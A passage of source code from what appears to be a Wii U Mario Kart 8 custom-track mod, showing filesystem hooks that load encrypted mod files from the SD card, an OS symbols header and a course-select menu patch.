| memcpy(nPath + ((int)x1 - (int)path), ctgp::CUP0Instance->trackNamesMod[i], strlen(ctgp::CUP0Instance->trackNamesMod[i]) + 1); 113 | memcpy(nPath + strlen(nPath), x2, strlen(x2)); 114 | nPath[((int)x1 - (int)path) + strlen(ctgp::CUP0Instance->trackNamesMod[i]) + strlen(x2)] = 0; 115 | break; 116 | } 117 | } 118 | } 119 | } 120 | 121 | uint32_t hash = calc_hash((strlen(nPath) > 0) ? (nPath + 5) : (path + 5), 0x477); 122 | char hash_filename[256]; 123 | __os_snprintf(hash_filename, 256, "%s/ctgp8/file_data/%08X.dat", mountPath, hash); 124 | 125 | bool allowedHash = false; 126 | for (size_t i = 0; i < (sizeof(fileHashes) / sizeof(uint32_t)); i++) { 127 | if (fileHashes[i] == hash) { 128 | allowedHash = true; 129 | break; 130 | } 131 | } 132 | 133 | int ret = -1; 134 | int hashFd = -1; 135 | ret = real_FSOpenFile(client, block, hash_filename, "r", &hashFd, -1); 136 | if (hashFd >= 0 && allowedHash) { 137 | redirection.Add(hashFd); 138 | *handle = hashFd; 139 | free(nPath); 140 | return ret; 141 | } else if (hashFd <= 0 && allowedHash) { 142 | FatalError("444-0103", "One of the CTGP files is missing, please check your installation"); 143 | } 144 | 145 | free(nPath); 146 | return real_FSOpenFile(client, block, path, mode, handle, flags); 147 | } 148 | 149 | DECL_HOOK(int, FSReadFile, FSClient* client, FSCmdBlock* block, void* buffer, uint32_t count, size_t size, int handle, uint32_t unk1, uint32_t flags) { 150 | 151 | fileHandleHook* hook = redirection.Find(handle); 152 | if (hook) { 153 | int size_r = real_FSReadFile(client, block, buffer, count, size, handle, unk1, flags); 154 | ctgp::crypto::CryptoEngineInstance->RC4_EncryptDecrypt(private_ctgp_key, sizeof(private_ctgp_key), (uint8_t*)buffer, (uint8_t*)buffer, size_r, hook->offset); 155 | hook->offset += size_r; 156 | return size_r; 157 | } 158 | 159 | return real_FSReadFile(client, block, buffer, count, size, handle, unk1, flags); 160 | } 161 | 162 | DECL_HOOK(int, FSReadFileWithPos, FSClient* client, FSCmdBlock* block, uint8_t* buffer, uint32_t count, size_t size, uint32_t pos, int handle, uint32_t unk1, uint32_t flags) { 163 | 164 | fileHandleHook* hook = redirection.Find(handle); 165 | if (hook) { 166 | int size_r = real_FSReadFileWithPos(client, block, buffer, count, size, pos, handle, unk1, flags); 167 | ctgp::crypto::CryptoEngineInstance->RC4_EncryptDecrypt(private_ctgp_key, sizeof(private_ctgp_key), (uint8_t*)buffer, (uint8_t*)buffer, size_r, pos); 168 | hook->offset = pos + size_r; 169 | } 170 | 171 | return real_FSReadFileWithPos(client, block, buffer, count, size, pos, handle, unk1, flags); 172 | } 173 | 174 | DECL_HOOK(int, FSSetPosFile, FSClient* client, FSCmdBlock* block, int handle, uint32_t pos, uint32_t flags) { 175 | 176 | fileHandleHook* hook = redirection.Find(handle); 177 | if (hook) { 178 | hook->offset = pos; 179 | return real_FSSetPosFile(client, block, handle, pos, flags); 180 | } 181 | return real_FSSetPosFile(client, block, handle, pos, flags); 182 | } 183 | 184 | DECL_HOOK(int, FSGetStat, FSClient* client, FSCmdBlock* block, const char* path, FSStat* stat, uint32_t flags) { 185 | 186 | uint32_t hash = calc_hash(path + 5, 0x477); 187 | char hash_filename[256]; 188 | __os_snprintf(hash_filename, 256, "%s/ctgp8/file_data/%08X.dat", mountPath, hash); 189 | 190 | int ret = -1; 191 | int hashFd = -1; 192 | ret = real_FSOpenFile(client, block, hash_filename, "r", &hashFd, -1); 193 | 194 | if (hashFd >= 0) { 195 | ret = FSGetStatFile(client, block, hashFd, stat, flags); 196 | FSCloseFile(client, block, hashFd, -1); 197 | return ret; 198 | } 199 | 200 | return real_FSGetStat(client, block, path, stat, flags); 201 | } 202 | 203 | int __check_sd_access() { 204 | 205 | int ret = FSGetMountSource(fsClient, fsCmdBlock, 0, outSdPath, -1); 206 | R_UNLESS(ret >= 0, -1); 207 | 208 | ret = FSMount(fsClient, fsCmdBlock, outSdPath, mountPath, 128, -1); 209 | R_UNLESS(ret >= 0, -2); 210 | 211 | return ret; 212 | } 213 | 214 | static int iAreWePatched = 0; 215 | PatchedFunction* listFuncPatch[32]; 216 | 217 | DECL_HOOK(ProcUIStatus, ProcUIProcessMessages, bool block) { 218 | ProcUIStatus st = real_ProcUIProcessMessages(block); 219 | if (st == PROCUI_STATUS_RELEASE_FOREGROUND || st == PROCUI_STATUS_EXITING) { 220 | for (int i = 0; i < 32; i++) { 221 | if (listFuncPatch[i]) { 222 | removePatch(listFuncPatch[i]); 223 | listFuncPatch[i] = NULL; 224 | } 225 | } 226 | iAreWePatched = 0; 227 | } 228 | 229 | if ((st == PROCUI_STATUS_IN_FOREGROUND) && (iAreWePatched == 0)) { 230 | listFuncPatch[0] = HOOK_FUNC(FSOpenFile, FSOpenFile); 231 | listFuncPatch[1] = HOOK_FUNC(FSReadFile, FSReadFile); 232 | listFuncPatch[2] = HOOK_FUNC(FSReadFileWithPos, FSReadFileWithPos); 233 | listFuncPatch[3] = HOOK_FUNC(FSSetPosFile, FSSetPosFile); 234 | listFuncPatch[4] = HOOK_FUNC(FSGetStat, FSGetStat); 235 | iAreWePatched = 1; 236 | } 237 | 238 | return st; 239 | } 240 | 241 | void InitializePatchFilesystem() { 242 | 243 | memset(&redirection, 0, sizeof(redirection)); 244 | OSInitMutexEx(&fs_mutex, "Filesystem I/O"); 245 | 246 | if (!fsClient) 247 | fsClient = (FSClient*)malloc(sizeof(FSClient)); 248 | 249 | if (!fsCmdBlock) 250 | fsCmdBlock = (FSCmdBlock*)malloc(sizeof(FSCmdBlock)); 251 | 252 | FSInit(); 253 | FSAddClient(fsClient, -1); 254 | FSInitCmdBlock(fsCmdBlock); 255 | int sd = __check_sd_access(); 256 | 257 | if (sd < 0) { 258 | char* crashBuffer = (char*)malloc(0x1000); 259 | if (sd == -1) { 260 | __os_snprintf(crashBuffer, 0x1000, "Couldn't find a SD Card. (%d)", sd); 261 | OSFatal(crashBuffer); 262 | } 263 | 264 | if (sd == -2) { 265 | __os_snprintf(crashBuffer, 0x1000, "Couldn't mount the SD Card. (%d)", sd); 266 | OSFatal(crashBuffer); 267 | } 268 | } else { 269 | DBG_LOG("SD Card Mounted to: %s\n", mountPath); 270 | } 271 | 272 | listFuncPatch[0] = HOOK_FUNC(FSOpenFile, FSOpenFile); 273 | listFuncPatch[1] = HOOK_FUNC(FSReadFile, FSReadFile); 274 | listFuncPatch[2] = HOOK_FUNC(FSReadFileWithPos, FSReadFileWithPos); 275 | listFuncPatch[3] = HOOK_FUNC(FSSetPosFile, FSSetPosFile); 276 | listFuncPatch[4] = HOOK_FUNC(FSGetStat, FSGetStat); 277 | iAreWePatched = 1; 278 | HOOK_FUNC(ProcUIProcessMessages, ProcUIProcessMessages); 279 | } -------------------------------------------------------------------------------- /source/wiiu/symbols.h: -------------------------------------------------------------------------------- 1 | #ifndef __SYMBOLS_H 2 | #define __SYMBOLS_H 3 | 4 | #include "utils.hpp" 5 | 6 | #define OSFatal ((void (*)(const char* msg))0x01031618) 7 | #define __os_snprintf ((int (*)(char* s, int n, const char* format, ...))0x0102F160) 8 | 9 | #define INADDR_ANY 0 10 | #define INADDR_BROADCAST 0xFFFFFFFF 11 | 12 | #define AF_INET 2 13 | 14 | #define SHUT_RD 0 15 | #define SHUT_WR 1 16 | #define SHUT_RDWR 2 17 | 18 | #define SOCK_STREAM 1 19 | #define SOCK_DGRAM 2 20 | 21 | #define IPPROTO_IP 0 22 | #define IPPROTO_TCP 6 23 | #define IPPROTO_UDP 17 24 | 25 | #define SOL_SOCKET -1 26 | #define SO_REUSEADDR 0x0004 27 | #define SO_BROADCAST 0x0020 28 | #define SO_NONBLOCK 0x1016 29 | #define SO_MYADDR 0x1013 30 | #define SO_RCVTIMEO 0x1006 31 | #define SO_KEEPALIVE 0x0008 32 | 33 | #define MSG_PEEK 0x2 34 | #define SO_ECONNRESET 8 35 | #define SO_ETIMEDOUT 2 36 | #define SO_EISCONN 3 37 | #define SO_ECONNREFUSED 7 38 | 39 | typedef struct hostent { 40 | char* h_name; 41 | char** h_aliases; 42 | int h_addrtype; 43 | int h_length; 44 | char** h_addr_list; 45 | } hostent; 46 | 47 | /** 48 | * @brief It will load our needed OS functions pointer with dynamic linking 49 | * @note 50 | * @retval None 51 | */ 52 | void LoadWiiUSymbols(); 53 | 54 | #ifdef __cplusplus 55 | extern "C" { 56 | #endif 57 | 58 | typedef struct in_addr { 59 | uint32_t s_addr; 60 | } in_addr; 61 | 62 | typedef struct sockaddr_in { 63 | int16_t sin_family; 64 | uint16_t sin_port; 65 | in_addr sin_addr; 66 | char sin_zero[8]; 67 | } sockaddr_in; 68 | 69 | #define VPAD_BUTTON_A 0x8000 70 | #define VPAD_BUTTON_B 0x4000 71 | #define VPAD_BUTTON_X 0x2000 72 | #define VPAD_BUTTON_Y 0x1000 73 | #define VPAD_BUTTON_LEFT 0x0800 74 | #define VPAD_BUTTON_RIGHT 0x0400 75 | #define VPAD_BUTTON_UP 0x0200 76 | #define VPAD_BUTTON_DOWN 0x0100 77 | #define VPAD_BUTTON_ZL 0x0080 78 | #define VPAD_BUTTON_ZR 0x0040 79 | #define VPAD_BUTTON_L 0x0020 80 | #define VPAD_BUTTON_R 0x0010 81 | #define VPAD_BUTTON_PLUS 0x0008 82 | #define VPAD_BUTTON_MINUS 0x0004 83 | #define VPAD_BUTTON_HOME 0x0002 84 | #define VPAD_BUTTON_SYNC 0x0001 85 | #define VPAD_BUTTON_STICK_R 0x00020000 86 | #define VPAD_BUTTON_STICK_L 0x00040000 87 | #define VPAD_BUTTON_TV 0x00010000 88 | 89 | #define VPAD_STICK_R_EMULATION_LEFT 0x04000000 90 | #define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 91 | #define VPAD_STICK_R_EMULATION_UP 0x01000000 92 | #define VPAD_STICK_R_EMULATION_DOWN 0x00800000 93 | 94 | #define VPAD_STICK_L_EMULATION_LEFT 0x40000000 95 | #define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 96 | #define VPAD_STICK_L_EMULATION_UP 0x10000000 97 | #define VPAD_STICK_L_EMULATION_DOWN 0x08000000 98 | 99 | //! Own definitions 100 | #define VPAD_BUTTON_TOUCH 0x00080000 101 | #define VPAD_MASK_EMULATED_STICKS 0x7F800000 102 | #define VPAD_MASK_BUTTONS ~VPAD_MASK_EMULATED_STICKS 103 | 104 | typedef enum VPADTPResolution { VPAD_TP_1920x1080, VPAD_TP_1280x720, VPAD_TP_854x480 } VPADTPResolution; 105 | 106 | typedef enum VPADGyroZeroDriftMode { VPAD_GYRO_ZERODRIFT_LOOSE, VPAD_GYRO_ZERODRIFT_STANDARD, VPAD_GYRO_ZERODRIFT_TIGHT } VPADGyroZeroDriftMode; 107 | 108 | typedef struct { 109 | float x, y; 110 | } Vec2D; 111 | 112 | typedef struct { 113 | float x, y, z; 114 | } Vec3D; 115 | 116 | typedef struct { 117 | Vec3D X, Y, Z; 118 | } VPADDir; 119 | 120 | typedef struct { 121 | uint16_t x, y; /* Touch coordinates */ 122 | uint16_t touched; /* 1 = Touched, 0 = Not touched */ 123 | uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both 124 | invalid? */ 125 | } VPADTPData; 126 | 127 | typedef struct { 128 | int16_t offsetX; 129 | int16_t offsetY; 130 | float scaleX; 131 | float scaleY; 132 | } VPADTPCalibrationParam; 133 | 134 | typedef struct { 135 | uint32_t btns_h; /* Held buttons */ 136 | uint32_t btns_d; /* Buttons that are pressed at that instant */ 137 | uint32_t btns_r; /* Released buttons */ 138 | Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ 139 | Vec3D acc; /* Status of DRC accelerometer */ 140 | float acc_magnitude; /* Accelerometer magnitude */ 141 | float acc_variation; /* Accelerometer variation */ 142 | Vec2D acc_vertical; /* Vertical */ 143 | Vec3D gyro; /* Gyro data */ 144 | Vec3D angle; /* Angle data */ 145 | int8_t error; /* Error */ 146 | VPADTPData tpdata; /* Normal touchscreen data */ 147 | VPADTPData tpdata1; /* Modified touchscreen data 1 */ 148 | VPADTPData tpdata2; /* Modified touchscreen data 2 */ 149 | VPADDir dir; /* Orientation in three-dimensional space */ 150 | int headphone; /* Set to TRUE if headphones are plugged in, FALSE otherwise */ 151 | Vec3D mag; /* Magnetometer data */ 152 | uint8_t volume; /* 0 to 255 */ 153 | uint8_t battery; /* 0 to 6 */ 154 | uint8_t mic; /* Microphone status */ 155 | uint8_t unk_volume; /* One less than volume */ 156 | uint8_t paddings[7]; 157 | } VPADData; 158 | 159 | #define OSTimerClockSpeed ((248625000) / 4) 160 | 161 | #define OSSecondsToTicks(val) ((uint64_t)(val) * (uint64_t)OSTimerClockSpeed) 162 | #define OSMillisecondsToTicks(val) (((uint64_t)(val) * (uint64_t)OSTimerClockSpeed) / 1000ull) 163 | #define OSMicrosecondsToTicks(val) (((uint64_t)(val) * (uint64_t)OSTimerClockSpeed) / 1000000ull) 164 | #define OSNanosecondsToTicks(val) (((uint64_t)(val) * ((uint64_t)OSTimerClockSpeed) / 31250ull) / 32000ull) 165 | 166 | #define OSTicksToSeconds(val) ((uint64_t)(val) / (uint64_t)OSTimerClockSpeed) 167 | #define OSTicksToMilliseconds(val) (((uint64_t)(val)*1000ull) / (uint64_t)OSTimerClockSpeed) 168 | #define OSTicksToMicroseconds(val) (((uint64_t)(val)*1000000ull) / (uint64_t)OSTimerClockSpeed) 169 | #define OSTicksToNanoseconds(val) (((uint64_t)(val)*32000ull) / ((uint64_t)OSTimerClockSpeed / 31250ull)) 170 | 171 | #define OS_THREAD_ATTRIB_AFFINITY_CPU0 1 << 0 172 | #define OS_THREAD_ATTRIB_AFFINITY_CPU1 1 << 1 173 | #define OS_THREAD_ATTRIB_AFFINITY_CPU2 1 << 2 174 | #define OS_THREAD_ATTRIB_AFFINITY_ANY OS_THREAD_ATTRIB_AFFINITY_CPU0 | OS_THREAD_ATTRIB_AFFINITY_CPU1 | OS_THREAD_ATTRIB_AFFINITY_CPU2 175 | #define OS_THREAD_ATTRIB_DETACHED 1 << 3 176 | #define OS_THREAD_ATTRIB_STACK_USAGE 1 << 5 177 | 178 | typedef struct OSDynLoad_NotifyData { 179 | 180 | char* name; 181 | uint32_t textAddr; 182 | uint32_t textOffset; 183 | uint32_t textSize; 184 | 185 | uint32_t dataAddr; 186 | uint32_t dataOffset; 187 | uint32_t dataSize; 188 | 189 | uint32_t readAddr; 190 | uint32_t readOffset; 191 | uint32_t readSize; 192 | 193 | } OSDynLoad_NotifyData; 194 | 195 | typedef struct OSDynLoad_RPLInfo { 196 | 197 | uint32_t handle; 198 | uint32_t _4; 199 | const char* name; 200 | char unk_0xc[0x1C]; 201 | OSDynLoad_NotifyData* notifyData; 202 | void* entryPoint; 203 | char unk_0x30[0x24]; 204 | OSDynLoad_RPLInfo* next; 205 | char unk_0x58[0x3C]; 206 | 207 | } OSDynLoad_RPLInfo; 208 | 209 | typedef enum OSExceptionMode { 210 | OS_EXCEPTION_MODE_SYSTEM = 0, 211 | OS_EXCEPTION_MODE_THREAD = 1, 212 | OS_EXCEPTION_MODE_GLOBAL = 2, 213 | OS_EXCEPTION_MODE_THREAD_ALL_CORES = 3, 214 | OS_EXCEPTION_MODE_GLOBAL_ALL_CORES = 4, 215 | } OSExceptionMode; 216 | 217 | typedef enum OSExceptionType { 218 | OS_EXCEPTION_TYPE_SYSTEM_RESET = 0, 219 | OS_EXCEPTION_TYPE_MACHINE_CHECK = 1, 220 | OS_EXCEPTION_TYPE_DSI = 2, 221 | OS_EXCEPTION_TYPE_ISI = 3, 222 | OS_EXCEPTION_TYPE_EXTERNAL_INTERRUPT = 4, 223 | OS_EXCEPTION_TYPE_ALIGNMENT = 5, 224 | OS_EXCEPTION_TYPE_PROGRAM = 6, 225 | OS_EXCEPTION_TYPE_FLOATING_POINT = 7, 226 | OS_EXCEPTION_TYPE_DECREMENTER = 8, 227 | OS_EXCEPTION_TYPE_SYSTEM_CALL = 9, 228 | OS_EXCEPTION_TYPE_TRACE = 10, 229 | OS_EXCEPTION_TYPE_PERFORMANCE_MONITOR = 11, 230 | OS_EXCEPTION_TYPE_BREAKPOINT = 12, 231 | OS_EXCEPTION_TYPE_SYSTEM_INTERRUPT = 13, 232 | OS_EXCEPTION_TYPE_ICI = 14, 233 | } OSExceptionType; 234 | 235 | typedef struct OSContext { 236 | 237 | uint64_t tag; 238 | uint32_t gpr[32]; 239 | uint32_t cr; 240 | uint32_t lr; 241 | uint32_t ctr; 242 | uint32_t xer; 243 | uint32_t srr0; 244 | uint32_t srr1; 245 | uint32_t dsisr; 246 | uint32_t dar; 247 | char a[12]; 248 | uint32_t fpscr; 249 | double fpr[32]; 250 | uint16_t spinLockCount; 251 | uint16_t state; 252 | uint32_t gqr[8]; 253 | char b[4]; 254 | double psf[32]; 255 | uint64_t coretime[3]; 256 | uint64_t starttime; 257 | uint32_t error; 258 | char c[4]; 259 | uint32_t pmc1; 260 | uint32_t pmc2; 261 | uint32_t pmc3; 262 | uint32_t pmc4; 263 | uint32_t mmcr0; 264 | uint32_t mmcr1; 265 | 266 | } OSContext; 267 | 268 | typedef bool (*OSExceptionCallbackFn)(OSContext* context); 269 | 270 | typedef struct OSThread { 271 | 272 | OSContext context; 273 | 274 | uint32_t txtTag; 275 | uint8_t state; 276 | uint8_t attr; 277 | 278 | short threadId; 279 | int suspend; 280 | int priority; 281 | 282 | char _[0x394 - 0x330 - 8]; 283 | void* thread_next; 284 | void* thread_prev; 285 | 286 | void* stackBase; 287 | void* stackEnd; 288 | 289 | void* entryPoint; 290 | 291 | char _3A0[0x6A0 - 0x3A0]; 292 | 293 | } OSThread; 294 | 295 | typedef struct OSThreadQueue { 296 | 297 | OSThread* head; 298 | OSThread* tail; 299 | void* parent; 300 | uint32_t unk; 301 | 302 | } OSThreadQueue; 303 | 304 | typedef struct OSMutex { 305 | 306 | uint32_t tag; 307 | const char* name; 308 | uint32_t unk; 309 | OSThreadQueue queue; 310 | OSThread* owner; 311 | int32_t count; 312 | void* next; 313 | void* prev; 314 | 315 | } OSMutex; 316 | 317 | typedef enum FSMode { 318 | FS_MODE_READ_OWNER = 0x400, 319 | FS_MODE_WRITE_OWNER = 0x200, 320 | FS_MODE_EXEC_OWNER = 0x100, 321 | 322 | FS_MODE_READ_GROUP = 0x040, 323 | FS_MODE_WRITE_GROUP = 0x020, 324 | FS_MODE_EXEC_GROUP = 0x010, 325 | 326 | FS_MODE_READ_OTHER = 0x004, 327 | FS_MODE_WRITE_OTHER = 0x002, 328 | FS_MODE_EXEC_OTHER = 0x001, 329 | } FSMode; 330 | 331 | typedef struct FSClient { 332 | char unk[0x1700]; 333 | } FSClient; 334 | 335 | typedef struct FSCmdBlock { 336 | char unk[0xA80]; 337 | } FSCmdBlock; 338 | 339 | typedef struct __attribute__((__packed__)) FSStat { 340 | uint32_t flags; 341 | FSMode mode; 342 | uint32_t owner; 343 | uint32_t group; 344 | uint32_t size; 345 | uint32_t allocSize; 346 | uint64_t quotaSize; 347 | uint32_t entryId; 348 | int64_t created; 349 | int64_t modified; 350 | char unk[0x30]; 351 | } FSStat; 352 | 353 | typedef enum ProcUICallbackType { 354 | 355 | PROCUI_CALLBACK_ACQUIRE, 356 | PROCUI_CALLBACK_RELEASE, 357 | PROCUI_CALLBACK_EXIT, 358 | PROCUI_CALLBACK_NET_IO_START, 359 | PROCUI_CALLBACK_NET_IO_STOP, 360 | PROCUI_CALLBACK_HOME_BUTTON_DENIED, 361 | 362 | } ProcUICallbackType; 363 | 364 | typedef enum ProcUIStatus { 365 | 366 | PROCUI_STATUS_IN_FOREGROUND, 367 | PROCUI_STATUS_IN_BACKGROUND, 368 | PROCUI_STATUS_RELEASE_FOREGROUND, 369 | PROCUI_STATUS_EXITING, 370 | 371 | } ProcUIStatus; 372 | 373 | typedef struct FSDirEntry { 374 | FSStat stat; 375 | char name[256]; 376 | } FSDirEntry; 377 | 378 | extern void* (*memoryAllocAlign)(size_t size, size_t align); 379 | extern void* (*memoryAlloc)(size_t size); 380 | extern void* (*memoryFree)(void* ptr); 381 | 382 | extern void (*FSInit)(void); 383 | extern int (*FSAddClient)(FSClient* c, int unk1); 384 | extern int (*FSInitCmdBlock)(FSCmdBlock* block); 385 | extern int (*FSOpenFile)(FSClient* client, FSCmdBlock* block, const char* path, const char* mode, int* handle, uint32_t flags); 386 | extern int (*FSCloseFile)(FSClient* client, FSCmdBlock* block, int handle, uint32_t unk1); 387 | extern int (*FSOpenDir)(FSClient* client, FSCmdBlock* block, const char* dirPath, int* dirHandle, uint32_t flags); 388 | extern int (*FSReadDir)(FSClient* client, FSCmdBlock* block, int dirHandle, FSDirEntry* returnedDirEntry, int errHandling); 389 | extern int (*FSCloseDir)(FSClient* client, FSCmdBlock* block, int dirHandle, int unk1); 390 | extern int (*FSGetStat)(FSClient* client, FSCmdBlock* block, const char* path, FSStat* stat, uint32_t flags); 391 | extern int (*FSGetStatFile)(FSClient* client, FSCmdBlock* block, int handle, FSStat* stat, uint32_t flags); 392 | extern int (*FSReadFile)(FSClient* client, FSCmdBlock* block, void* buffer, uint32_t count, size_t size, int handle, uint32_t unk1, uint32_t flags); 393 | extern int (*FSReadFileWithPos)(FSClient* client, FSCmdBlock* block, uint8_t* buffer, uint32_t count, size_t size, uint32_t pos, int handle, uint32_t unk1, uint32_t flags); 394 | extern int (*FSSetPosFile)(FSClient* client, FSCmdBlock* block, int handle, uint32_t pos, uint32_t flags); 395 | extern int (*FSGetMountSource)(FSClient* client, FSCmdBlock* cmd, int type /* 0 = sd */, char* out, uint32_t flags); 396 | extern int (*FSMount)(FSClient* client, FSCmdBlock* cmd, char* source, const char* target, uint32_t bytes, uint32_t flags); 397 | extern int (*FSGetPosFile)(FSClient* client, FSCmdBlock* block, int fileHandle, uint32_t* pos, uint32_t flags); 398 | 399 | extern int (*IOS_Open)(const char* devNode, int mode); 400 | extern int (*IOS_Close)(int handle); 401 | extern int (*IOS_Ioctl)(int handle, uint32_t methodId, void* bufIn, size_t sizeIn, void* bufIo, size_t sizeIo); 402 | 403 | extern bool (*OSCreateThread)(OSThread* thread, void* entry, int argc, char* argv, void* stack, uint32_t stackSize, int priority, uint16_t attributes); 404 | extern bool (*OSJoinThread)(OSThread* thread, int* threadResult); 405 | extern int (*OSResumeThread)(OSThread* thread); 406 | extern OSThread* (*OSGetCurrentThread)(void); 407 | extern void (*OSExitThread)(int result); 408 | extern void (*OSSetThreadName)(OSThread* thread, const char* name); 409 | extern void (*OSSleepTicks)(int64_t ticks); 410 | 411 | extern void* (*__OSPhysicalToEffectiveCached)(uint32_t addr); 412 | extern void* (*OSEffectiveToPhysical)(void* addr); 413 | extern void (*DCInvalidateRange)(void* addr, uint32_t size); 414 | extern void (*DCFlushRange)(void* addr, uint32_t size); 415 | extern void (*DCStoreRange)(void* addr, uint32_t size); 416 | extern void (*ICInvalidateRange)(void* addr, uint32_t size); 417 | extern void (*OSMemoryBarrier)(); 418 | 419 | extern int (*socket_lib_init)(void); 420 | extern int (*socket_lib_finish)(void); 421 | extern int (*socket)(int domain, int type, int protocol); 422 | extern int (*socketclose)(int s); 423 | extern int (*connect)(int s, void* addr, int addrlen); 424 | extern int (*sendto)(int s, const void* buffer, int size, int flags, const sockaddr_in* dest, int dest_len); 425 | extern int (*setsockopt)(int s, int level, int optname, void* optval, int optlen); 426 | extern int (*bind)(int sockfd, struct sockaddr* my_addr, int addrlen); 427 | extern int (*listen)(int s, int backlog); 428 | extern hostent* (*gethostbyname)(const char* ipAddr); 429 | extern int (*accept)(int sock, struct sockaddr* addr, size_t* len); 430 | extern int (*send)(int s, const void* msg, size_t len, int flags); 431 | extern int (*socketlasterr)(void); 432 | extern int (*recv)(int s, void* buf, int len, unsigned int flags); 433 | extern const char* (*inet_ntoa)(in_addr addr); 434 | 435 | extern void (*OSInitMutexEx)(OSMutex* mutex, const char* name); 436 | extern bool (*OSLockMutex)(OSMutex* mutex); 437 | extern bool (*OSUnlockMutex)(OSMutex* mutex); 438 | extern uint64_t (*OSGetSystemTime)(void); 439 | 440 | extern bool (*OSIsAddressValid)(uint32_t addr); 441 | extern bool (*OSGetSymbolName)(uint32_t addr, char* outSymbolName, int maxSz); 442 | extern uint64_t (*OSGetTitleID)(void); 443 | extern int (*OSGetCoreId)(void); 444 | extern int (*OSGetUPID)(void); 445 | extern bool (*OSSetExceptionCallbackEx)(OSExceptionMode mode, OSExceptionType exceptionType, void* callback); 446 | 447 | extern bool (*SYSCheckTitleExists)(uint64_t titleId); 448 | extern void (*SYSLaunchMenu)(void); 449 | extern void (*SYSLaunchTitle)(uint64_t); 450 | 451 | extern int (*VPADRead)(int chan, VPADData* buffer, size_t buffer_size, int* error); 452 | 453 | extern int (*SAVEOpenFile)(FSClient* client, FSCmdBlock* block, uint8_t accountSlotNo, const char* path, const char* mode, int* fileHandle, int errHandling); 454 | 455 | extern ProcUIStatus (*ProcUIProcessMessages)(bool block); 456 | 457 | extern void (*GX2WaitForVsync)(void); 458 | 459 | #ifdef __cplusplus 460 | } 461 | #endif 462 | 463 | namespace nn::act { 464 | extern uint8_t (*GetSlotNo)(void); 465 | extern int (*GetAccountIdEx)(char* pOutAccountId, uint8_t slotNum); 466 | extern int (*GetMiiName)(char16_t* pOutMiiName); 467 | } // namespace nn::act 468 | 469 | #define LOAD_FUNC(mod, x) ((__load_from_module(mod, #x, (void**)&x))) 470 | 471 | namespace std { 472 | void __attribute__((__noreturn__)) __throw_length_error(const char*); 473 | } 474 | 475 | #endif -------------------------------------------------------------------------------- /source/patch/course.cpp: -------------------------------------------------------------------------------- 1 | #include "course.hpp" 2 | 3 | uint8_t* leftTexture = nullptr; 4 | nw::lyt::TextureInfo* leftTextureInfo = nullptr; 5 | 6 | uint8_t* rightTexture = nullptr; 7 | nw::lyt::TextureInfo* rightTextureInfo = nullptr; 8 | 9 | ctgp::CoursePatch* ctgp::CoursePatchInstance; 10 | 11 | DECL_CXX_HOOK(int, ui::Page_Course::LoadPanes, ui::Page_Course* page, ui::UIControl* mainControl, char r5) { 12 | 13 | if (!ctgp::CoursePatchInstance->m_ButtonHolders.contains(page->pageID)) { 14 | CupButtonHolder buttonHolder; 15 | buttonHolder.controlL1 = new ui::Control_CupButton(1); 16 | buttonHolder.controlL2 = new ui::Control_CupButton(1); 17 | buttonHolder.controlR1 = new ui::Control_CupButton(1); 18 | buttonHolder.controlR2 = new ui::Control_CupButton(1); 19 | ctgp::CoursePatchInstance->m_ButtonHolders.insert(std::make_pair(page->pageID, buttonHolder)); 20 | } 21 | 22 | ui::Control_CupButton* controlL1 = ctgp::CoursePatchInstance->m_ButtonHolders[page->pageID].controlL1; 23 | ui::Control_CupButton* controlL2 = ctgp::CoursePatchInstance->m_ButtonHolders[page->pageID].controlL2; 24 | 25 | ui::Control_CupButton* controlR1 = ctgp::CoursePatchInstance->m_ButtonHolders[page->pageID].controlR1; 26 | ui::Control_CupButton* controlR2 = ctgp::CoursePatchInstance->m_ButtonHolders[page->pageID].controlR2; 27 | 28 | char** cupPaneNames = (char**)(0x100DC77C + MK8_DATA_OFFSET); 29 | 30 | if (page->pageID == 43) { 31 | 32 | controlL1->cupId = 12; 33 | controlL2->cupId = 12; 34 | controlR1->cupId = 13; 35 | controlR2->cupId = 13; 36 | 37 | page->createControl_(controlL1, mainControl, "L_CupIcon_12"); 38 | 39 | for (int i = 1; i < 7; i++) { 40 | ui::Control_CupButton* cupBtn = new ui::Control_CupButton(1); 41 | page->createControl_(cupBtn, mainControl, cupPaneNames[i - 1]); 42 | page->cupIcons[i - 1] = cupBtn; 43 | cupBtn->field_00 = i; 44 | } 45 | 46 | page->createControl_(controlR1, mainControl, "L_CupIcon_13"); 47 | page->createControl_(controlL2, mainControl, "L_CupIcon_12"); 48 | 49 | for (int i = 9; i < 15; i++) { 50 | ui::Control_CupButton* cupBtn = new ui::Control_CupButton(1); 51 | page->createControl_(cupBtn, mainControl, cupPaneNames[i - 3]); 52 | page->cupIcons[i - 3] = cupBtn; 53 | cupBtn->field_00 = i; 54 | } 55 | 56 | page->createControl_(controlR2, mainControl, "L_CupIcon_13"); 57 | 58 | controlL1->field_00 = 0; 59 | controlR1->field_00 = 7; 60 | controlL2->field_00 = 8; 61 | controlR2->field_00 = 15; 62 | 63 | for (int i = 0; i < 4; i++) { 64 | ui::Control_CourseButton* btn = new ui::Control_CourseButton(r5); 65 | char text[19] = "L_CourseSlctBtn_00"; 66 | text[17] = '0' + i; 67 | page->createControl_(btn, mainControl, text); 68 | page->courseBtn[i] = btn; 69 | page->courseBtn[i]->field_00 = 12 + i; 70 | } 71 | } else { 72 | 73 | real(page, mainControl, r5); 74 | 75 | page->createControl_(controlL1, mainControl, "L_CupIcon_12"); 76 | page->createControl_(controlR1, mainControl, "L_CupIcon_13"); 77 | page->createControl_(controlL2, mainControl, "L_CupIcon_12"); 78 | page->createControl_(controlR2, mainControl, "L_CupIcon_13"); 79 | 80 | controlL1->field_00 = 16; 81 | controlR1->field_00 = 17; 82 | controlL2->field_00 = 18; 83 | controlR2->field_00 = 19; 84 | } 85 | 86 | uint32_t outSize = 0; 87 | 88 | leftTexture = GetArchiveFile("/vol/content/custom/ym_CupIconLeft^h.bflim", &outSize, 0x1000); 89 | leftTextureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 90 | nw::lyt::LoadTexture(leftTextureInfo, leftTexture, outSize); 91 | 92 | rightTexture = GetArchiveFile("/vol/content/custom/ym_CupIconRight^h.bflim", &outSize, 0x1000); 93 | rightTextureInfo = (nw::lyt::TextureInfo*)calloc(1, 